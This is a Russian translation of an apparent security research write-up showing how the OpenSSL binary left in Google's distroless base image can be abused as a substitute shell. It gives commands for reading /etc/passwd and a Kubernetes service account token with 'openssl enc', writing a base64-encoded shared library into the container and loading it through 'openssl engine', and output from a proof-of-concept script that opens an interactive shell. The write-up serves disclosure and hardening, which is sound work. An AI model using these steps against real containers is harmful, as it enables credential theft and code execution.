Contents
Поверхность атаки
Образы Distroless содержат только приложение и его зависимости во время выполнения. Они не содержат менеджеров пакетов, оболочек или любых других программ, которые вы ожидаете найти в стандартном дистрибутиве Linux. Образы без дистрибутива без второстепенных исполняемых файлов и библиотек часто рекомендуются из-за их производительности, размера и безопасности из-за уменьшения поверхности атаки. Однако, как мы увидим, не все дистрибутивные образы построены одинаково.
URL-адреса продуктов
- gcr.io/distroless/base
- https://github.com/GoogleContainerTools/distroless
- https://github.com/GoogleContainerTools/distroless/tree/main/base
Базовый образ Distroless (gcr.io/distroless/base) содержит пакет OpenSSL, устанавливаемый с помощью следующего скрипта bazel https://github.com/GoogleContainerTools/distroless/blob/main/base/base.bzl .
Пакет OpenSSL устанавливает два исполняемых двоичных файла c_rehash и openssl в каталог /usr/bin/ .
Злоупотребление функциями OpenSSL
Чтобы продемонстрировать уязвимости, мы будем использовать док-контейнер, на котором запущено простое приложение Golang на базовом образе без дистрибутива.
main.go
package main
import (
"fmt"
"time"
)
func main() {
for {
fmt.Println("Hello world!")
time.Sleep(time.Second * 1)
}
}
Докерфайл
Сборка образа докера.
Запуск контейнера и проверка того, что приложение работает должным образом.
И, как и ожидалось, в контейнере нет оболочки.
Но OpenSSL предоставляет и интерактивную командную строку, которой можно злоупотреблять.
Доступные команды OpenSSL.
OpenSSL> help
Standard commands
asn1parse ca ciphers cms
crl crl2pkcs7 dgst dhparam
dsa dsaparam ec ecparam
enc engine errstr gendsa
genpkey genrsa help list
nseq ocsp passwd pkcs12
pkcs7 pkcs8 pkey pkeyparam
pkeyutl prime rand rehash
req rsa rsautl s_client
s_server s_time sess_id smime
speed spkac srp storeutl
ts verify version x509
Message Digest commands (see the `dgst' command for more details)
blake2b512 blake2s256 gost md4
md5 rmd160 sha1 sha224
sha256 sha3-224 sha3-256 sha3-384
sha3-512 sha384 sha512 sha512-224
sha512-256 shake128 shake256 sm3
Cipher commands (see the `enc' command for more details)
aes-128-cbc aes-128-ecb aes-192-cbc aes-192-ecb
aes-256-cbc aes-256-ecb aria-128-cbc aria-128-cfb
aria-128-cfb1 aria-128-cfb8 aria-128-ctr aria-128-ecb
aria-128-ofb aria-192-cbc aria-192-cfb aria-192-cfb1
aria-192-cfb8 aria-192-ctr aria-192-ecb aria-192-ofb
aria-256-cbc aria-256-cfb aria-256-cfb1 aria-256-cfb8
aria-256-ctr aria-256-ecb aria-256-ofb base64
bf bf-cbc bf-cfb bf-ecb
bf-ofb camellia-128-cbc camellia-128-ecb camellia-192-cbc
camellia-192-ecb camellia-256-cbc camellia-256-ecb cast
cast-cbc cast5-cbc cast5-cfb cast5-ecb
cast5-ofb des des-cbc des-cfb
des-ecb des-ede des-ede-cbc des-ede-cfb
des-ede-ofb des-ede3 des-ede3-cbc des-ede3-cfb
des-ede3-ofb des-ofb des3 desx
rc2 rc2-40-cbc rc2-64-cbc rc2-cbc
rc2-cfb rc2-ecb rc2-ofb rc4
rc4-40 seed seed-cbc seed-cfb
seed-ecb seed-ofb sm4-cbc sm4-cfb
sm4-ctr sm4-ecb sm4-ofb
Детали эксплуатации
1. Чтение произвольных файлов без проблем с kubectl cp !
Злоупотребление функциональностью OpenSSL enc позволяет нам читать файлы внутри файловой системы контейнера.
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -in /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
OpenSSL>
2. Написание и выполнение пользовательских «вредоносных» двоичных файлов
Злоупотребление функциональными возможностями OpenSSL enc и движка позволяет нам писать и выполнять пользовательскую библиотеку с нашим «вредоносным» кодом.
Настраивать
Исходный код пользовательской библиотеки.
#include <openssl/engine.h>
#include <sys/utsname.h>
static int bind(ENGINE *e, const char *id) {
struct utsname buf;
uname(&buf);
printf("Hostname: %s" ,buf.nodename);
return 1;
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
Компиляция библиотеки с помощью gcc .
sudo apt install openssl-devel -y
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o
Base64 кодирует библиотеку.
base64 ./hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]
Запись полезной нагрузки
Написание библиотеки в кодировке base64 с использованием функциональности OpenSSL enc .
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -d -a -out /tmp/hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
OpenSSL>
Выполнение полезной нагрузки
Выполнение пользовательской библиотеки с использованием функций движка OpenSSL и печать имени хоста контейнера.
% docker exec -it demo /usr/bin/openssl engine /tmp/hostname.so
Hostname: d68dc92b5c99(/tmp/hostname.so) <NULL>
Сценарии атаки
- При атаке с внедрением команд, когда приложение, работающее на базовом образе без дистрибутива, выполняет небезопасные данные, предоставленные пользователем, злоумышленник может использовать OpenSSL для выполнения действий, которые в противном случае были бы невозможны, таких как чтение файлов или установка пользовательских инструментов атаки.
- В сценарии, когда злоумышленник получил доступ к кластеру Kubernetes, он может злоупотреблять OpenSSL, установленным на базовом образе без дистрибутива, для чтения токенов служебной учетной записи, секретов, введенных или смонтированных в файловой системе, и даже получить интерактивное выполнение команды, загрузив пользовательскую оболочку.
Чтение токена сервисной учетной записи Kubernets с помощью OpenSSL.
% kubectl exec -it distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD
[...snip...]
Получение интерактивного выполнения команд путем загрузки пользовательской оболочки.
python3 poc.py
[*] Uploading the shell
[*] Uploading the payload
[*] Executing the payload
[*] Getting a shell
# set
GOTRACEBACK='single'
HOME='/root'
HOSTNAME='distroless'
IFS='
'
KUBERNETES_PORT='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='10.43.0.1'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LINENO=''
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='0'
PS1='# '
PS2='> '
PS4='+ '
PWD='/'
SSL_CERT_FILE='/etc/ssl/certs/ca-certificates.crt'
TERM='xterm'
#
Вывод
Не все образы Distroless (статические, базовые, ... ) созданы одинаковыми, и это следует учитывать при выборе базового образа для важных проектов. Об этой проблеме сообщили в Google в августе 2021 года, и Google решила не исправлять ее.
Статья является переводом сайта www.form3.tech